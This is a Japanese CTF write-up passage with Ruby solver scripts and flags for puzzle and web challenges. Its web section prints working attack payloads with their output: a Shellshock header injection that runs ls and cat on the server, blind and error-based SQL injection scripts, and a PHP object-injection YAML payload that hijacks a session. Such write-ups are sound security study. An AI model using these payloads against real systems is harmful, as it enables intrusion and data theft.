FLAG:tanakazakkarini123

175 タイムトラベル (諜報術 155)

ここに2013/9/21時点の全IP逆引き結果がある。

$ zcat 2013-09-21-rdns.csv.gz | grep 50\.115\.13\.104
50.115.13.104,mxserver-104.blisterninja.com

FLAG:mxserver-104.blisterninja.com

181 search_duplicate_character_string (記述術 100)

二分探索で解いた。

@data = open("181-search_duplicate_character_string").read

def search_duplicate_substring(length)
    dictionary = {}
    for i in 0...@data.length - length + 1
        if dictionary.include?(@data[i...i + length])
            return @data[i...i + length]
        end
        dictionary[@data[i...i + length]] = 0
    end
    nil
end

min = 1
max = 100
max_length = nil
while min <= max
    pivot = (min + max) / 2
    if search_duplicate_substring(pivot)
        max_length = pivot
        min = pivot + 1
    else
        max = pivot - 1
    end
end

puts search_duplicate_substring(max_length)
#=> f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><

FLAG:f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><

182 JavaScript Puzzle (記述術 200)

window["空欄1"]["空欄2"]`${
    [空欄3, 空欄4, 空欄5, 0x52, 0x54]
    ["空欄6"](x=>String["空欄7"](x))["空欄8"]("")["空欄9"]() + "空欄10"
}`;
//選択肢: map, toLowerCase, eval, (00000101), call, (101), (0b1001100), join, (1), fromCodePoint

JavaScriptではwindow.evalwindow["eval"]が等価であること(参考)と、x=>somethingfunction(x){return something}が等価であること(アロー関数)を考えると、

window["eval"]["call"]`${
    [空欄3, 空欄4, 空欄5, 0x52, 0x54]
    ["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() + "空欄10"
}`;
//選択肢: (00000101), (101), (0b1001100), (1)

とりあえずここまで埋まる。

分かりやすいように書き直すと、

[空欄3, 空欄4, 空欄5, 0x52, 0x54].map(
    function(x){
        return String.fromCodePoint(x);
    }
).join("").toLowerCase() + "空欄10"

"alert(1)"という文字列になればいい。

ということで、最終形はこうなる。

window["eval"]["call"]`${
    [(00000101), (0b1001100), (101), 0x52, 0x54]
    ["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() + "(1)"
}`;

FLAG:4c0bf259050d08b8982b6ae43ad0f12be030f191

183 Count Number Of Flag's SubString! (記述術 100)

"flag={"から始まることがわかっているので、先頭から1文字ずつブルートフォース

require "uri"
require "net/http"

def valid?(input)
    uri = URI.parse("http://210.146.64.36:30840/count_number_of_flag_substring/")
    Net::HTTP.start(uri.host, uri.port){|http|
        request = Net::HTTP::Get.new(uri.path + "?" + URI.encode_www_form({str: input}))
        return http.request(request).body =~ /are 1/
    }
end

chars = "abcdefghijklmnopqrstuvwxyz_".chars
flag = "flag={"

while true
    if valid?(flag + "}")
        flag << "}"
        break
    end
    for c in chars
        print "."
        if valid?(flag + c)
            flag << c
            break
        end
    end
    puts flag
end

puts
puts flag

FLAG:afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr

184 解凍? (記述術 100)

何重にも圧縮がかけてあるので、スクリプトを書いて解凍した。

require "open3"

def check_filetype(filename)
    Open3.capture2("file #{filename}")[0]
end

def s(cmd)
    puts cmd
    system(cmd)
end

filename = "flag"

while true
    case t = check_filetype(filename)
    when /ASCII/
        break
    when /bzip2/
        s("bunzip2 #{filename}")
        s("mv #{filename}.out #{filename}")
    when /Zip/
        s("mv #{filename} #{filename}.zip")
        s("unzip #{filename}.zip")
        s("rm #{filename}.zip")
        s("mv #{filename}.* #{filename}")
    when /tar/
        s("mv #{filename} #{filename}.tar")
        s("tar xvf #{filename}.tar")
        s("rm #{filename}.tar")
        s("mv #{filename}.* #{filename}")
    when /gzip/
        s("mv #{filename} #{filename}.gz")
        s("gunzip #{filename}.gz")
    else
        puts t
        break
    end
end

puts "done"

FLAG:6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi

185 Make sorted Amida kuji! (記述術 300)

グラフをつくって経路探索。(コードがへぼい……)

#coding:utf-8
require "uri"
require "net/http"

class Edge
    attr_accessor :next_hop, :pattern

    def initialize(pattern, next_hop)
        @pattern = pattern
        @next_hop = next_hop
    end
end

class Node
    attr_accessor :id, :edges, :distance

    def initialize(id)
        @id = [] + id
        @edges = []
        @distance = 1 << 31
    end

    def visited?
        @edges.length > 0
    end
end

def get_problem(url)
    puts "[*] downloading from #{url}"
    uri = URI.parse(url)
    Net::HTTP.start(uri.host, uri.port){|http|
        request = Net::HTTP::Get.new(uri.path + (uri.query ? "?#{uri.query}" : ""))
        return http.request(request).body.match(/<p id="number">([\d ]+)<\/p>/m).captures[0].split.map(&:to_i)
    }
end

def generate_pattern(size)
    (0...1 << size - 1).select{|n| !(0...size - 2).any?{|i| n[i] == 1 && n[i + 1] == 1}}.to_a
end

def swap(id, pattern)
    size = id.length
    result = [] + id
    for i in 0...size - 1
        if pattern[i] == 1
            result[i], result[i + 1] = [result[i + 1], result[i]]
        end
    end
    result
end

def enumerate_path(node, depth, stack)
    if depth == 0
        if node.id == node.id.sort
            return [[] + stack]
        else
            return []
        end
    end

    result = []
    for edge in node.edges
        # depth手以内にゴールにたどり着けない場合は枝刈り
        if edge.next_hop.distance >= depth
            next
        end
        stack.push edge.pattern
        result.push *enumerate_path(edge.next_hop, depth - 1, stack)
        stack.pop
    end

    result
end

def solve(initial_state)
    size = initial_state.length
    goal = initial_state.sort
    patterns = generate_pattern(size)
    nodes = {}

    # スタートから(size / 2)階層分のグラフを作る
    puts "[*] building graph(from head)"
    nodes[initial_state] = Node.new(initial_state)
    queue = [nodes[initial_state]]
    (size / 2).times{|depth|
        puts "depth:#{depth + 1}  queue size:#{queue.length}"
        next_queue = []

        cnt = 0
        for node in queue
            cnt += 1
            print "\r%.02f%%" % (cnt * 100.0 / queue.length)
            if node.visited?
                next
            end

            for pattern in patterns
                next_id = swap(node.id, pattern)
                if !nodes.include?(next_id)
                    nodes[next_id] = Node.new(next_id)
                end
                node.edges << Edge.new(pattern, nodes[next_id])
                next_queue << nodes[next_id] if !nodes[next_id].visited?
            end
        end

        queue = next_queue
        puts
        GC.start
    }

    # ゴールから(size / 2 + 1)階層分のグラフを作る
    puts "[*] building graph(from tail)"
    if !nodes.include?(goal)
        nodes[goal] = Node.new(goal)
    end
    queue = [nodes[goal]]
    (size - (size / 2) + 1).times{|depth|
        puts "depth:#{depth + 1}  queue size:#{queue.length}"
        next_queue = []

        cnt = 0
        for node in queue
            cnt += 1
            print "\r%.02f%%" % (cnt * 100.0 / queue.length)
            if node.visited?
                next
            end

            for pattern in patterns
                next_id = swap(node.id, pattern)
                if !nodes.include?(next_id)
                    nodes[next_id] = Node.new(next_id)
                end
                node.edges << Edge.new(pattern, nodes[next_id])
                next_queue << nodes[next_id] if !nodes[next_id].visited?
            end
        end

        queue = next_queue
        puts
        GC.start
    }

    # 各ノードにゴールまでの距離を記録
    puts "[*] marking distance"
    nodes[goal].distance = 0
    queue = [nodes[goal]]
    while queue.length > 0
        node = queue.shift
        for edge in node.edges
            if edge.next_hop.distance > node.distance + 1
                edge.next_hop.distance = node.distance + 1
                queue << edge.next_hop
            end
        end
    end
    puts nodes[initial_state].distance

    # DFSでゴールまでの経路を列挙
    enumerate_path(nodes[initial_state], size, [])
end

# amida.jsのmakeFlag
def generate_flag(answer)
    puts "[*] generating flag"
    size = answer[0].length
    strtes = "qwertyuiopasdfghjklzxcvbnm1234567890_+="
    flag_str = ""
    for i in 0...size
        for j in 0...size
            sum = answer.map{|k| k[i][j]}.inject(:+)
            flag_str << strtes[sum % strtes.length]
        end
    end

    flag_str
end

url = "http://210.146.64.36:30840/amidakuji/"

puts "[*] stage 1"
problem = get_problem(url)
answer = solve(problem)
puts "answer(#{answer.length} patterns):"
p answer
flag = generate_flag(answer)
puts "stage1 flag = #{flag}"

puts "[*] stage 2"
problem = get_problem(url + "?FLAG=#{flag}")
answer = solve(problem)
puts "answer(#{answer.length} patterns):"
p answer
flag = generate_flag(answer)
puts "stage2 flag = #{flag}"

5分くらい待っていればフラグが出る。(メモリを1.2GB近く食うorz)

$ ruby aoj.rb
[*] stage 1
[*] downloading from http://210.146.64.36:30840/amidakuji/
[*] building graph(from head)
depth:1  queue size:1
100.00%
depth:2  queue size:4
100.00%
[*] building graph(from tail)
depth:1  queue size:1
100.00%
depth:2  queue size:4
100.00%
depth:3  queue size:8
100.00%
[*] marking distance
3
answer(8 patterns):
[[0, 5, 2, 5], [1, 4, 2, 5], [4, 1, 2, 5], [5, 0, 2, 5], [5, 2, 0, 5], [5, 2, 1, 4], [5, 2, 4, 1], [5, 2, 5, 0]]
[*] generating flag
stage1 flag = uquqeteqeteququq
[*] stage 2
[*] downloading from http://210.146.64.36:30840/amidakuji/?FLAG=uquqeteqeteququq

[*] building graph(from head)
depth:1  queue size:1
100.00%
depth:2  queue size:88
100.00%
depth:3  queue size:6447
100.00%
depth:4  queue size:80337
100.00%
depth:5  queue size:617283
100.00%
[*] building graph(from tail)
depth:1  queue size:1
100.00%
depth:2  queue size:88
100.00%
depth:3  queue size:6447
100.00%
depth:4  queue size:80337
100.00%
depth:5  queue size:617283
100.00%
depth:6  queue size:2770542
100.00%
[*] marking distance
10
answer(62 patterns):
[[2, 85, 170, 85, 170, 341, 170, 341, 170, 277], [17, 170, 85, 170, 341, 170, 85, 170, 341, 162], [18, 69, 170, 85, 170, 341, 170, 341, 170, 277], [21, 170, 85, 170, 341, 170, 85, 170, 325, 146], [21, 170, 85, 170, 341, 170, 85, 170, 341, 130], [34, 85, 170, 85, 170, 341, 170, 341, 170, 273], [66, 21, 170, 85, 170, 341, 170, 341, 170, 277], [66, 149, 42, 85, 170, 341, 170, 341, 170, 277], [66, 149, 298, 341, 170, 341, 170, 341, 170, 277], [81, 170, 85, 170, 341, 170, 84, 169, 338, 165], [81, 170, 85, 170, 341, 170, 85, 168, 338, 165], [81, 170, 85, 170, 341, 170, 85, 170, 336, 165], [81, 170, 85, 170, 341, 170, 85, 170, 337, 164], [81, 170, 85, 170, 341, 170, 85, 170, 340, 161], [81, 170, 85, 170, 341, 170, 85, 170, 341, 160], [82, 5, 170, 85, 170, 341, 170, 341, 170, 277], [82, 37, 138, 85, 170, 341, 170, 341, 170, 277], [82, 133, 42, 85, 170, 341, 170, 341, 170, 277], [82, 133, 298, 341, 170, 341, 170, 341, 170, 277], [82, 165, 10, 85, 170, 341, 170, 341, 170, 277], [82, 165, 74, 21, 170, 341, 170, 341, 170, 277], [82, 165, 74, 149, 42, 341, 170, 341, 170, 277], [82, 165, 74, 149, 298, 85, 170, 341, 170, 277], [82, 165, 266, 341, 170, 341, 170, 341, 170, 277], [82, 165, 330, 277, 170, 341, 170, 341, 170, 277], [85, 170, 85, 170, 340, 169, 82, 165, 330, 149], [85, 170, 85, 170, 341, 168, 82, 165, 330, 149], [85, 170, 85, 170, 341, 170, 80, 165, 330, 149], [85, 170, 85, 170, 341, 170, 81, 164, 330, 149], [85, 170, 85, 170, 341, 170, 84, 161, 330, 149], [85, 170, 85, 170, 341, 170, 84, 169, 322, 149], [85, 170, 85, 170, 341, 170, 84, 169, 338, 133], [85, 170, 85, 170, 341, 170, 85, 160, 330, 149], [85, 170, 85, 170, 341, 170, 85, 162, 328, 149], [85, 170, 85, 170, 341, 170, 85, 162, 329, 148], [85, 170, 85, 170, 341, 170, 85, 168, 322, 149], [85, 170, 85, 170, 341, 170, 85, 168, 338, 133], [85, 170, 85, 170, 341, 170, 85, 170, 320, 149], [85, 170, 85, 170, 341, 170, 85, 170, 321, 148], [85, 170, 85, 170, 341, 170, 85, 170, 324, 145], [85, 170, 85, 170, 341, 170, 85, 170, 325, 144], [85, 170, 85, 170, 341, 170, 85, 170, 336, 133], [85, 170, 85, 170, 341, 170, 85, 170, 337, 132], [85, 170, 85, 170, 341, 170, 85, 170, 340, 129], [85, 170, 85, 170, 341, 170, 85, 170, 341, 128], [130, 85, 170, 85, 170, 341, 170, 341, 170, 276], [145, 42, 85, 170, 341, 170, 85, 170, 341, 162], [145, 298, 341, 170, 341, 170, 85, 170, 341, 162], [146, 69, 170, 85, 170, 341, 170, 341, 170, 276], [149, 42, 85, 170, 341, 170, 85, 170, 325, 146], [149, 42, 85, 170, 341, 170, 85, 170, 341, 130], [149, 298, 341, 170, 341, 170, 85, 170, 325, 146], [149, 298, 341, 170, 341, 170, 85, 170, 341, 130], [162, 85, 170, 85, 170, 341, 170, 340, 169, 274], [162, 85, 170, 85, 170, 341, 170, 341, 168, 274], [162, 85, 170, 85, 170, 341, 170, 341, 170, 272], [258, 341, 170, 85, 170, 341, 170, 341, 170, 277], [274, 325, 170, 85, 170, 341, 170, 341, 170, 277], [290, 341, 170, 85, 170, 341, 170, 341, 170, 273], [322, 277, 170, 85, 170, 341, 170, 341, 170, 277], [338, 261, 170, 85, 170, 341, 170, 341, 170, 277], [338, 293, 138, 85, 170, 341, 170, 341, 170, 277]]
[*] generating flag
stage2 flag = 021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q

FLAG:021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q

191 GIFアニメ生成サイト (超文書転送術 100)

URL直打ちで/movies/view/1を見ようとすると403が返ってくるが、生成ボタンのdata-idを1に書き換えてからクリックすると/movies/view/1が見られる。

出てきたgifをXnViewとかでコマ送りにするとフラグが見つかる。

f:id:Charo_IT:20160204234319p:plain

FLAG:H0WdoUpronunceGIF?

192 Network Tools (超文書転送術 100)

Shellshock

$ curl -A '() { :; }; /bin/ls -la' -d 'cmd=ps&option=-f' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>

  <div class='headline'>ps -f</div>
  <div class='body'>

    total 36<br />

    drwxr-xr-x 10 root root 4096 Oct 18 16:51 .<br />

    drwxr-xr-x 11 root root 4096 Oct 18 16:51 ..<br />

    -rwxr-xr-x  1 root root   42 Jan  2  2015 flag.txt<br />

    drwxrwxrwx  2 root root 4096 Nov 21 10:35 logs<br />

    -rwxrwxr-x  1 root root 1234 Oct 11 15:58 logs.py<br />

    -rwxr-xr-x  1 root root  458 Nov 28  2014 myapp.cgi<br />

    -rwxr-xr-x  1 root root 2300 Oct 11 15:16 nwtools.py<br />

    drwxr-xr-x  2 root root 4096 Dec  1  2014 static<br />

    drwxr-xr-x  2 root root 4096 Dec  1  2014 templates<br />

    <br />

  </div>
  <div>

    <br />

  <a href="/list">Return</a>
  </div>

  </div>
</div>

$ curl -A '() { :; }; /bin/cat flag.txt' -d 'cmd=ps&option=-f' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>

  <div class='headline'>ps -f</div>
  <div class='body'>

    flag={Update bash to the latest version!}<br />

    <br />

  </div>
  <div>

    <br />

  <a href="/list">Return</a>
  </div>

  </div>
</div>

FLAG:Update bash to the latest version!

193 箱庭XSS (超文書転送術 100)

何をすればいいのかわからなかったので、正攻法は諦めてreversingで解いた(*´ω`*)

FLAG:2ztJcvm2h52WGvZxF98bcpWv

194 YamaToDo (超文書転送術 200)

これ

"sjis"は指定できないようになっているが、Shift-JISの仲間(?)である"cp932"は使える。

以下solver

require "uri"
require "net/http"

94.times{|i|
    uri = URI.parse("http://210.146.64.44/")
    # フラグの文字数調査用
    # data = "表'+(select * from (select length(body) from todos where user_id=char(#{"yamato".bytes*","})order by create_at limit 1) A),now())# "
    # フラグ出力用
    data = "表'+(select * from (select ord(substr(body, #{i+1}, 1)) from todos where user_id=char(#{"yamato".bytes*","}) order by create_at limit 1) A),now())# "

    if data.length > 255
        puts "too long"
        exit
    end

    Net::HTTP.start(uri.host){|http|
        request = Net::HTTP::Post.new(uri.path + "?ie=cp932")
        request["Authorization"] = "Basic eWFtYXRvY3RmOkdVbjdTbjFMVkpRWkJ3eUc4d1pQQUl0bm9CWjA0VGx4"
        request["Cookie"] = "PHPSESSID=(censored)"
        request["Content-Type"] = "application/x-www-form-urlencoded"

        http.request(request, URI.encode_www_form({body: data.encode("shift_jis")}))
    }
}

これを実行すると

200,190,179,209,164,199,165,181,165,214,165,223,165,195,165,200,164,183,164,198,164,175,164,192,164,181,164,164,161,249,161,202,161,181,166,216,161,166,161,203,118,32,163,230,163,236,163,225,163,231,161,225,161,208,163,242,163,179,163,237,163,179,163,205,163,226,163,179,163,242,161,178,163,181,163,227,161,178,163,240,163,242,163,176,163,226,163,204,163,179,163,237,161,209

というバイト列が得られ、これをEUC-JPとして読むと半角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}というメッセージが得られる。

FLAG:r3m3Mb3r_5c_pr0bL3m

195 Yamatoo (超文書転送術 300)

自明なSQLiがある。

<?php
//(snip)
if (mb_strlen($keyword) > 2) {
    $words = implode(' ', ngram($keyword));
    $where = "exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match '{$words}') or `title` like '%{$keyword}%'";
} else {
    $where = "`title` like '%{$keyword}%'";
}

……が、入力した文字列がimplode(' ', ngram($keyword))で細切れにされてしまうため、非常にやりにくい。

$ echo hogehoge | php test.php
keyword= hogehoge
select * from `site` where exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match 'ho og ge eh ho og ge') or `title` like '%hogehoge%'

result:

$ echo "a' or (select 1)=1 --" | php test.php
keyword= a' or (select 1)=1 --
select * from `site` where exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match 'a' or (s se el le ec ct 1) )= =1 --') or `title` like '%a' or (select 1)=1 --%'
[!] near "se": syntax error

試行錯誤の末、a ''' or (select 1)=1 --というような文字列を入れることでうまくSQLiできることがわかった。

$ echo "a ''' or (select 1)=1 --" | php test.php
keyword= a ''' or (select 1)=1 --
select * from `site` where exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match 'a '' '' or (s se el le ec ct 1) )= =1 --') or `title` like '%a ''' or (select 1)=1 --%'

result:
http://example.com
hogehoge
-----------------

あとはError-Based-SQLiでフラグを取った。

#coding:ascii-8bit
require "uri"
require "net/http"

query = "a ''' or (select 1 from site_fts where words match char(34)||(select * from flag))=1--"

uri = URI.parse("http://210.146.64.45/")
Net::HTTP.start(uri.host){|http|
    request = Net::HTTP::Get.new(uri.path + "?" + URI.encode_www_form({q: query}))
    request["Authorization"] = "Basic eWFtYXRvY3RmOkdVbjdTbjFMVkpRWkJ3eUc4d1pQQUl0bm9CWjA0VGx4"

    response = http.request(request)

    raise "WAF~><" if response.body.include?("WAF")

    puts response.body
}
$ ruby yamatoo.rb

Fatal error: Uncaught exception 'Exception' with message 'malformed MATCH expression: [&quot;flag={3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637}]' in /var/www/html/index.php:67
Stack trace:
#0 {main}
  thrown in /var/www/html/index.php on line 67

FLAG:3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637

196 Yamatonote (超文書転送術 400)

メモ管理用のWebアプリ。

アプリのソースを読むと、

  • セッション開始時はSession.loadが走り、セッションIDをキーとしてDBを検索し、UserIDを取得
  • SessionオブジェクトのデストラクタでSession.saveが走り、セッションIDとUserIDをDBに保存

という方法でセッション管理をしていることがわかる。

yaml推しなのが怪しいので調べると、これこれがでてきた。

どうも!php/object (シリアライズされた文字列)と書くことでyaml_parse時に好きなオブジェクトを作ることができ、しかもそのオブジェクトの__wakeupメソッド__destructメソッドを叩けるっぽい。

ということで、

  1. 普通にログイン
  2. (UserID, SessionID) = (yamato, hoge)なSessionオブジェクトを埋め込んだyamlをインポートする
    このとき、埋め込んだSessionオブジェクトのデストラクタでセッションID"hoge"の持ち主はyamatoというデータが登録される
  3. セッションIDを"hoge"に設定してアクセスすると、yamatoでログインした状態になる
  4. yamatoのメモに書いてあるフラグをゲット

という手順で攻略した。

使ったyaml

# yamatonote yaml template
title: ☆(ゝω・)v
body: !php/object "O:7:\"Session\":3:{s:2:\"id\";s:26:\"oeipc7j969vpru7312qbnnm3q1\";s:2:\"db\";O:2:\"Db\":0:{}s:15:\"\u0000Session\u0000_param\";a:1:{s:6:\"userId\";s:6:\"yamato\";}}"

\x00String.optimizeString.yamlで除去されてしまうため、代わりに\u0000を使った

f:id:Charo_IT:20160204233953p:plain

FLAG:pHp_0bj3c7_15_50_5w3333333E337_4nD_y4mL_700

197 箱庭XSS 2 (超文書転送術 200)

reversing(*´ω`*)

FLAG:n2SCCerG4J9kDkHqvHJNhwr4